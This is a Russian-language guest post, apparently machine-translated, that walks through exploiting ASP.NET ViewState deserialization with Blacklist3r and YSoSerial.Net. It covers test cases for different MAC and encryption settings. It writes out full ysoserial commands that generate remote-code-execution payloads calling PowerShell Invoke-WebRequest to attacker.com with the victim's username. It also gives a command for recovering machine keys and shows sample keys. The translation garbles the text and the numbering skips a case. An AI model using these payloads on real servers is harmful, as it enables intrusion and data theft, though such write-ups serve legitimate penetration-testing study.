Гостевая статья Использование десериализации ViewState с использованием Blacklist3r и YSoSerial.Net

В этом посте рассказывает о различных тестовых примерах для использования десериализации ASP.NET ViewState с использованием Blacklist3r и YSoSerial.Net.

Blacklist3r используется для идентификации использования предварительно совместно используемых (предварительно опубликованных) ключей в приложении для шифрования и дешифрования файлов cookie для проверки подлинности форм, ViewState и т. Д.

Мы обсудили интересный случай предварительно опубликованных ключей машины, который привел к обходу аутентификации.

Как получить MachineKey?
Есть несколько способов, но не ограничиваясь этим, получить ключ компьютера, используемый приложением .NET:

  • Blacklist3r: если приложение использует общий ключ компьютера
  • Атака обхода каталога для получения доступа к файлу web.config
  • Раскрытие информации
Уязвимость десериализации ViewState
Сооруш Далили (@irsdl) написал интересную об использовании десериализации в ASP.NET через ViewState со знанием о проверке, ключах дешифрования и алгоритмах. Это где Blacklist3r может использоваться, чтобы определить общие ключи машинно- т он требуется полезная нагрузка может быть создано с помощью YSoSerial.Net. YSoSerial.Net поддерживает несколько гаджетов для создания полезных нагрузок. Для демонстрации мы использовали гаджет «TextFormattingRunProperties» и « TypeConfuseDelegate».

Давайте сначала разберемся, что такое ViewState и каковы его атрибуты.

Что такое ViewState?
ViewState - это метод, который среда ASP.NET использует по умолчанию для сохранения значений страниц и элементов управления между веб-страницами. При отображении HTML-кода страницы текущее состояние страницы и значения, которые необходимо сохранить во время обратной передачи, сериализуются в строки в кодировке base64 и выводятся в скрытом поле или полях ViewState.

Следующие свойства или комбинации свойств применяются к информации ViewState

  • Base64
    • Может быть определено с помощью атрибутов EnableViewStateMac и ViewStateEncryptionMode, для которых установлено значение false
  • Base64 + MAC (код аутентификации сообщения) включен
    • Может быть определен с помощью атрибута EnableViewStateMac, установленного в true
  • Base64 + Зашифрованный
    • Может быть определен с помощью атрибута viewStateEncryptionMode, установленного в true
Атрибут « EnableViewStateMac» и «ViewStateEncryptionMode»
  • В 2014 году с ASP.NET> = 1.1: было выпущено исправление, запрещающее атрибут «EnableViewStateMac», определенный для приложения.
    • (исправление, запрещающее настройки)
  • 2016 с ASP.NET> = 4.5: в соответствии с рекомендациями по безопасности сервер Windows обеспечивает принудительное включение и шифрование ViewState для MAC, а значение атрибутов «EnableViewStateMac» и «ViewStateEncryptionMode» игнорируется, если для него установлено значение false.
Однако все еще можно отключить ViewStateMac и Encryption, внеся изменения в конфигурацию.

Тестовые случаи
В таблице ниже перечислены возможные сценарии использования недостатков десериализации ViewState.

test-cases-1.jpg


Контрольный пример: 1 - EnableViewStateMac = false и viewStateEncryptionMode = false
  • Ключ машины не требуется
Определение атрибутов ViewState

Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC и Encryption оба отключены, что означает, что существует возможность подделки ViewState без ключа машины.

1.0.png



Можно просто использовать YSoSerial.Net для генерации сериализованной полезной нагрузки для выполнения удаленного выполнения кода.

Команда, используемая для генерации полезной нагрузки с использованием YSoSerial.Net.

Код:
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c " powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName "


Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.

Контрольный пример: 2 - .Net <4.5 и EnableViewStateMac = true & ViewStateEncryptionMode = false
  • Требуется ключ машины
Определение атрибутов ViewState

Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, ViewState MAC включен, а шифрование отключено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey).

2.0.png



Получение MachineKey с использованием Blacklist3r

Используйте Blacklist3r для определения использования предварительно общего ключа компьютера с помощью следующей команды:

3.0.png


Получение MachineKey с использованием Blacklist3r

  • Модуль Blacklist3r для этого случая находится в стадии разработки.
Если Machinekey известен (например, через проблему обхода каталога), команду YSoSerial.Net, использованную в тестовом примере 2, можно использовать для выполнения RCE с использованием уязвимости десериализации ViewState .

  • Удалите параметр «__VIEWSTATEENCRYPTED» из запроса, чтобы использовать уязвимость десериализации ViewState, в противном случае он вернет ошибку проверки MAC Viewstate, и эксплойт завершится неудачно, как показано на рисунке:
3.1.png


Контрольный пример: 4 - .Net> = 4.5 и EnableViewStateMac = true / false и ViewStateEncryptionMode = true / false, за исключением того, что оба атрибута имеют значение false
  • Требуется ключ машины
Определение атрибутов ViewState

Первым шагом является определение атрибута ViewState. Как показано на рисунке ниже, шифрование включено, что означает, что невозможно изменить ViewState без MachineKey (Validationkey и Decryptionkey).

4.0.png



Получение MachineKey с использованием Blacklist3r

Здесь мы будем использовать blacklist3r для определения использования предварительно общего ключа компьютера

Запустите следующую команду, используя Blacklist3r

Код:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x / SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr / GZ + EP0fbrlBEAFOrq5S8vMknE / ZQ / 8NNyWLwg == --decrypt --purpose = ViewState --valalgo = sha1 --decalgo = АЕС --IISDirPath "/" - -TargetPagePath "/Content/default.aspx"


–Encrypteddata = {значение параметра __VIEWSTATE}

-
IISDirPath = {Путь к каталогу веб-сайта в IIS}

–TargetPagePath = {Путь к целевой странице в приложении}

Для более подробного описания IISDirPath и TargetPagePath.

4.1.png


После того, как действительный ключ компьютера определен, следующим шагом является создание сериализованной полезной нагрузки с использованием YSoSerial.Net .

Код:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path = "/ content / default.aspx" --apppath = " /»--decryptionalg = "AES" --decryptionkey = "F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg = "SHA1" --validationkey = "C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

4.2.png



Если уязвимость десериализации ViewState успешно используется, управляемый злоумышленником сервер получит внешний запрос, содержащий имя пользователя.

PoC Успешной Эксплуатации
Для всех тестовых случаев, если полезная нагрузка ViewState YSoSerial.Net работает успешно, сервер отвечает «500 Внутренняя ошибка сервера» с содержанием ответа «Информация о состоянии недопустима для этой страницы и может быть повреждена», и мы получаем запрос OOB как показано на рисунках ниже:

5.0POC-of-Seccuessful-exploitation.png


внешний запрос с текущим именем пользователя

5.1POC-of-Seccuessful-exploitation.png


Источник:
 

Вложения

  • 2.1.png
    2.1.png
    77,6 КБ · Просмотры: 125
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!